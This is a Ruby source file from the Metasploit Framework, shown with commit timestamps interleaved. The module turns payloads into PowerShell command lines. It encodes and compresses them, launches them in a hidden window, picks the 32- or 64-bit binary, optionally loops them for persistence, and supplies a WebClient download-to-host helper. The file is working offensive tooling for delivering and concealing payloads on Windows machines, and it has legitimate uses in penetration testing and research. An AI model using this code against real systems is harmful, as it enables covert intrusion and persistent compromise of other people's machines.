metasploit-framework/lib/msf/core/exploit/powershell.rb

369 lines
10 KiB
Ruby
Raw Normal View History

# -*- coding: binary -*-
require 'rex/exploitation/powershell'
module Msf
module Exploit::Powershell
class PshScript < Rex::Exploitation::Powershell::Script
end
def initialize(info = {})
super
register_advanced_options(
[
2013-09-13 18:06:37 +00:00
OptBool.new('PSH::persist', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH::old_technique', [true, 'Use powershell 1.0', false]),
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
], self.class)
end
#
# Reads script into a PshScript
#
2013-09-13 18:06:37 +00:00
def read_script(script_path)
return PshScript.new(script_path)
end
#
# Insert substitutions into the powershell script
2013-09-13 18:06:37 +00:00
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
def make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end
subs.each do |set|
script.gsub!(set[0],set[1])
end
2013-09-13 19:23:18 +00:00
return script
end
#
# Return an array of substitutions for use in make_subs
#
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
return new_subs
end
2013-09-20 12:47:51 +00:00
#
# Return an encoded powershell script
# Will invoke PSH modifiers as enabled
#
def encode_script(script_in, eof = nil)
# Build script object
psh = PshScript.new(script_in)
# Invoke enabled modifiers
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
return psh.encode_code(eof)
end
2013-09-27 11:45:48 +00:00
#
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
def compress_script(script_in, eof = nil)
# Build script object
psh = PshScript.new(script_in)
# Invoke enabled modifiers
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
return psh.compress_code(eof)
end
2013-09-27 11:45:48 +00:00
#
# Generate a powershell command line
#
def generate_psh_command_line(opts)
if opts[:path] and opts[:path][-1,1] == "\\"
opts[:path] << "\\"
end
2014-02-09 12:15:02 +00:00
if opts[:no_full_stop]
binary = "powershell"
else
binary = "powershell.exe"
end
2013-09-27 11:45:48 +00:00
args = generate_psh_args(opts)
2014-02-09 12:15:02 +00:00
return "#{opts[:path]}#{binary} #{args}"
2013-09-27 11:45:48 +00:00
end
#
# Generate arguments for the powershell command
#
def generate_psh_args(opts)
arg_string = ""
opts.each_pair do |arg, value|
case arg
when :encodedcommand
arg_string << "-EncodedCommand #{value} " if value
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << "-NoExit " if value
when :nologo
arg_string << "-NoLogo " if value
when :noninteractive
arg_string << "-NonInteractive " if value
when :mta
arg_string << "-Mta " if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << "-Sta " if value
when :noprofile
arg_string << "-NoProfile " if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
#Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
# Shorten args if PSH 2.0+
unless datastore['PSH::old_technique']
arg_string.gsub!('-Command', '-c')
arg_string.gsub!('-EncodedCommand', '-e')
arg_string.gsub!('-ExecutionPolicy', '-ep')
arg_string.gsub!('-File', '-f')
arg_string.gsub!('-InputFormat', '-i')
arg_string.gsub!('-NoExit', '-noe')
arg_string.gsub!('-NoLogo', '-nol')
arg_string.gsub!('-NoProfile', '-nop')
arg_string.gsub!('-NonInteractive', '-noni')
arg_string.gsub!('-OutputFormat', '-o')
arg_string.gsub!('-Sta', '-s')
arg_string.gsub!('-WindowStyle', '-w')
end
return arg_string
end
#
# Runs powershell in hidden window raising interactive proc msg
2013-10-21 23:42:59 +00:00
# Detect the architecture
#
def run_hidden_psh(ps_code, payload_arch, encoded)
2013-09-27 11:45:48 +00:00
arg_opts = {
:noprofile => true,
:windowstyle => 'hidden',
}
if encoded
arg_opts[:encodedcommand] = ps_code
else
arg_opts[:command] = ps_code.gsub("'","''")
end
2013-09-27 11:45:48 +00:00
# Old technique fails if powershell exits..
arg_opts[:noexit] = true if datastore['PSH::old_technique']
ps_args = generate_psh_args(arg_opts)
2014-02-09 12:15:02 +00:00
if payload_arch == 'x86'
2013-11-22 22:58:42 +00:00
arch_x86 = '$True'
else
arch_x86 = '$False'
end
2013-10-21 23:42:59 +00:00
process_start_info = <<EOS
2014-02-08 22:10:33 +00:00
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s)
EOS
2013-10-21 23:42:59 +00:00
process_start_info.gsub!("\n",';')
2013-10-21 23:42:59 +00:00
archictecure_detection = <<EOS
2014-02-08 22:10:33 +00:00
$a=#{arch_x86};
if([IntPtr]::Size -eq 4){
if($a){$b='powershell.exe'}
else{$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'}
}else{
if($a){$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
}else{$b='powershell.exe'}};
2013-10-21 23:42:59 +00:00
EOS
archictecure_detection.gsub!("\n","")
return (archictecure_detection + process_start_info)
end
#
# Creates cmd script to execute psh payload
#
def cmd_psh_payload(pay, payload_arch, opts={})
2014-02-09 12:15:02 +00:00
if opts[:encode_inner_payload] && opts[:encode_final_payload]
raise RuntimeError, "Encoding both the inner payload and final payload will generate a huge command line"
end
# Allow powershell 1.0 format
if opts[:old_psh] || datastore['PSH::old_technique']
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
else
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
end
2014-02-08 22:53:47 +00:00
# Run our payload in a while loop
2013-09-13 18:06:37 +00:00
if datastore['PSH::persist']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
2013-09-13 19:23:18 +00:00
vprint_status("Sleep time set to #{sleep_time} seconds")
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
2013-09-20 12:47:51 +00:00
compressed_payload = compress_script(psh_payload)
encoded_payload = encode_script(psh_payload)
2013-09-20 12:47:51 +00:00
2014-02-09 00:55:26 +00:00
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
2013-09-20 12:47:51 +00:00
else
2014-02-09 12:15:02 +00:00
if opts[:encode_inner_payload]
2014-02-09 00:55:26 +00:00
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
2013-09-20 12:47:51 +00:00
end
2013-10-21 23:42:59 +00:00
# Wrap in hidden runtime / architecture detection
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
2013-10-21 23:42:59 +00:00
command_args = {
:noprofile => true,
:windowstyle => 'hidden'
2014-02-09 12:34:25 +00:00
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
2014-02-09 12:34:25 +00:00
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << " "
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'","''")
2014-02-09 12:34:25 +00:00
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)
2013-11-23 00:45:04 +00:00
if opts[:remove_comspec]
command = psh_command
else
command = "%COMSPEC% /b /c #{psh_command}"
end
2014-02-08 22:10:33 +00:00
vprint_status("Powershell command length: #{command.length}")
2014-02-09 12:15:02 +00:00
if command.length > 8191
raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)"
end
2013-10-21 23:42:59 +00:00
return command
end
#
# Useful method cache
#
module PshMethods
#
# Download file to host via PSH
#
def self.download(src,target=nil)
target ||= '$pwd\\' << src.split('/').last
return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
end
#
# Uninstall app
#
def self.uninstall(app,fuzzy=true)
match = fuzzy ? '-like' : '-eq'
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end
#
# Create secure string from plaintext
#
def self.secure_string(str)
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
end
2013-09-13 19:43:09 +00:00
#
# Convert binary to byte array, read from file if able
#
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n"
end
#
# Find PID of file locker
#
def self.who_locked_file?(filename)
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end
def self.get_last_login(user)
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end
end
end
end